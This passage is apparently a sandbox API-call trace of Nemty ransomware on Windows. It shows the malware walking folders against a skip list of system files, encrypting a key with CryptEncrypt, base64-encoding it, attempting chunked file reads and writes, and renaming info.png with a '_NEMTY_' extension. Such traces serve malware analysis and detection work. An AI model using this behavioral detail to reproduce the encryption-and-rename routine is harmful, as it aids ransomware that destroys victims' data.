(lpString1="info.png", lpString2="AUTOEXEC.BAT") returned 1 [0164.703] lstrcmpiW (lpString1="info.png", lpString2="ntuser.dat") returned -1 [0164.703] lstrcmpiW (lpString1="info.png", lpString2="desktop.ini") returned 1 [0164.703] lstrcmpiW (lpString1="info.png", lpString2="CONFIG.SYS") returned 1 [0164.703] lstrcmpiW (lpString1="info.png", lpString2="RECYCLER") returned -1 [0164.703] lstrcmpiW (lpString1="info.png", lpString2="BOOTSECT.BAK") returned 1 [0164.703] lstrcmpiW (lpString1="info.png", lpString2="bootmgr") returned 1 [0164.703] lstrcmpiW (lpString1="info.png", lpString2="programdata") returned -1 [0164.703] lstrcmpiW (lpString1="info.png", lpString2="appdata") returned 1 [0164.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0164.703] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="info.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0164.703] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="info.png", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="info.png", lpUsedDefaultChar=0x0) returned 8 [0164.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0164.703] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="info.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0164.703] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="info.png", cchWideChar=8, lpMultiByteStr=0x653ebd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="info.png", lpUsedDefaultChar=0x0) returned 8 [0164.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0164.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0164.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0164.703] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="info.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0164.703] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="info.png", cchWideChar=8, lpMultiByteStr=0x653ec20, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="info.png", lpUsedDefaultChar=0x0) returned 8 [0164.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0164.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0164.703] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="info.png", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0164.703] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="info.png", cchWideChar=8, lpMultiByteStr=0x653ec58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="info.png", lpUsedDefaultChar=0x0) returned 8 [0164.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0164.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0164.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0164.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0164.704] Sleep (dwMilliseconds=0x5) [0164.718] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x15d39b50, dwHighDateTime=0x1d561e8)) [0164.718] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x15d39b50, dwHighDateTime=0x1d561e8)) [0164.718] GetLastError () returned 0x5 [0164.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0164.718] GetLastError () returned 0x5 [0164.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0164.718] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0164.718] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0164.718] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0164.718] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0164.719] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0164.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0164.719] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="GYJ7DvQp+NQlYOXw7Gy/6Uys+r0OTkMuosobIFcuXMtwzmopomiyYULXStenWVW8\r\n395b3X41ygi3qp2N40DL0l0phqXFlvXBO9Vz1CZ9SS7rHdC1mSFYtVckU8I6lB1k\r\ne6OjSN/89p1VRK/bl57JmayNZaUubMgFPTeAXK/veKm005MVMYNUWarLdI9J8AxJ\r\n+D7JuTzEmM/M7G2YEEhVnfreVcrC5ugQkii3RcO/S0NdwoNSXq9g3s1vE6FIqyb0\r\n5k0HzHhINPELrrAi2FeQLqfwcN5f98/7DYv6nAVi+X4c+fCLFPCmCBWXiNmeVAHP\r\nDBbdRcNtJx5275JFuXnllg==\r\n", pcchString=0x653e91c) returned 1 [0164.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0164.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0164.719] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0164.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0164.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0164.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0164.719] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\info.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\info.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0164.719] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0164.719] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0164.719] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.719] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.728] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.728] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.728] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.738] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.738] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.747] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.747] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.756] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.756] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.757] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.757] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.776] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.776] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.776] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.776] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.785] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.785] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.785] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.785] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.794] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.795] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.795] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.795] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.804] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.804] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.813] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.814] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.823] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.823] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.829] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.829] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.829] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0164.835] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.835] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.835] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0164.835] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0164.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0164.836] CloseHandle (hObject=0xffffffff) returned 0 [0164.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0164.836] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0164.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0164.836] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0164.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0164.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0164.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340240 [0164.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63402e8 [0164.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0164.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0164.836] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\info.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\info.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\info.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\info.png._nemty_kgobjgd_")) returned 0 [0164.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0164.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0164.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0164.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0164.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0164.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0164.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0164.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0164.836] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8773bbcb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8773bbcb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3076689b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x18f, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="notConnectedStateIcon.png", cAlternateFileName="")) returned 1 [0164.836] lstrcmpiW (lpString1="notConnectedStateIcon.png", lpString2=".") returned 1 [0164.836] lstrcmpiW (lpString1="notConnectedStateIcon.png", lpString2="..") returned 1 [0164.836] lstrcmpiW (lpString1="notConnectedStateIcon.png", lpString2="...") returned 1 [0164.836] lstrcmpiW (lpString1="notConnectedStateIcon.png", lpString2="windows") returned -1 [0164.836] lstrcmpiW (lpString1="notConnectedStateIcon.png", lpString2="$RECYCLE.BIN") returned 1 [0164.836] lstrcmpiW (lpString1="notConnectedStateIcon.png", lpString2="rsa") returned -1 [0164.836] lstrcmpiW (lpString1="notConnectedStateIcon.png", lpString2="NTDETECT.COM") returned -1 [0164.836] lstrcmpiW (lpString1="notConnectedStateIcon.png", lpString2="ntldr") returned -1 [0164.836] lstrcmpiW (lpString1="notConnectedStateIcon.png", lpString2="MSDOS.SYS") returned 1 [0164.837] lstrcmpiW (lpString1="notConnectedStateIcon.png", lpString2="IO.SYS") returned 1 [0164.837] lstrcmpiW (lpString1="notConnectedStateIcon.png", lpString2="boot.ini") returned 1 [0164.837] lstrcmpiW (lpString1="notConnectedStateIcon.png", lpString2="boot.ini") returned 1 [0164.837] lstrcmpiW (lpString1="notConnectedStateIcon.png", lpString2="AUTOEXEC.BAT") returned 1 [0164.837] lstrcmpiW (lpString1="notConnectedStateIcon.png", lpString2="ntuser.dat") returned -1 [0164.837] lstrcmpiW (lpString1="notConnectedStateIcon.png", lpString2="desktop.ini") returned 1 [0164.837] lstrcmpiW (lpString1="notConnectedStateIcon.png", lpString2="CONFIG.SYS") returned 1 [0164.837] lstrcmpiW (lpString1="notConnectedStateIcon.png", lpString2="RECYCLER") returned -1 [0164.837] lstrcmpiW (lpString1="notConnectedStateIcon.png", lpString2="BOOTSECT.BAK") returned 1 [0164.837] lstrcmpiW (lpString1="notConnectedStateIcon.png", lpString2="bootmgr") returned 1 [0164.837] lstrcmpiW (lpString1="notConnectedStateIcon.png", lpString2="programdata") returned -1 [0164.837] lstrcmpiW (lpString1="notConnectedStateIcon.png", lpString2="appdata") returned 1 [0164.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0164.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="notConnectedStateIcon.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0164.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0164.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="notConnectedStateIcon.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notConnectedStateIcon.png", lpUsedDefaultChar=0x0) returned 25 [0164.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0164.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0164.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="notConnectedStateIcon.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0164.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0164.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="notConnectedStateIcon.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notConnectedStateIcon.png", lpUsedDefaultChar=0x0) returned 25 [0164.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0164.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0164.837] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0164.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0164.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="notConnectedStateIcon.png", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0164.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0164.837] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="notConnectedStateIcon.png", cchWideChar=25, lpMultiByteStr=0x4f9ecb8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="notConnectedStateIcon.png", lpUsedDefaultChar=0x0) returned 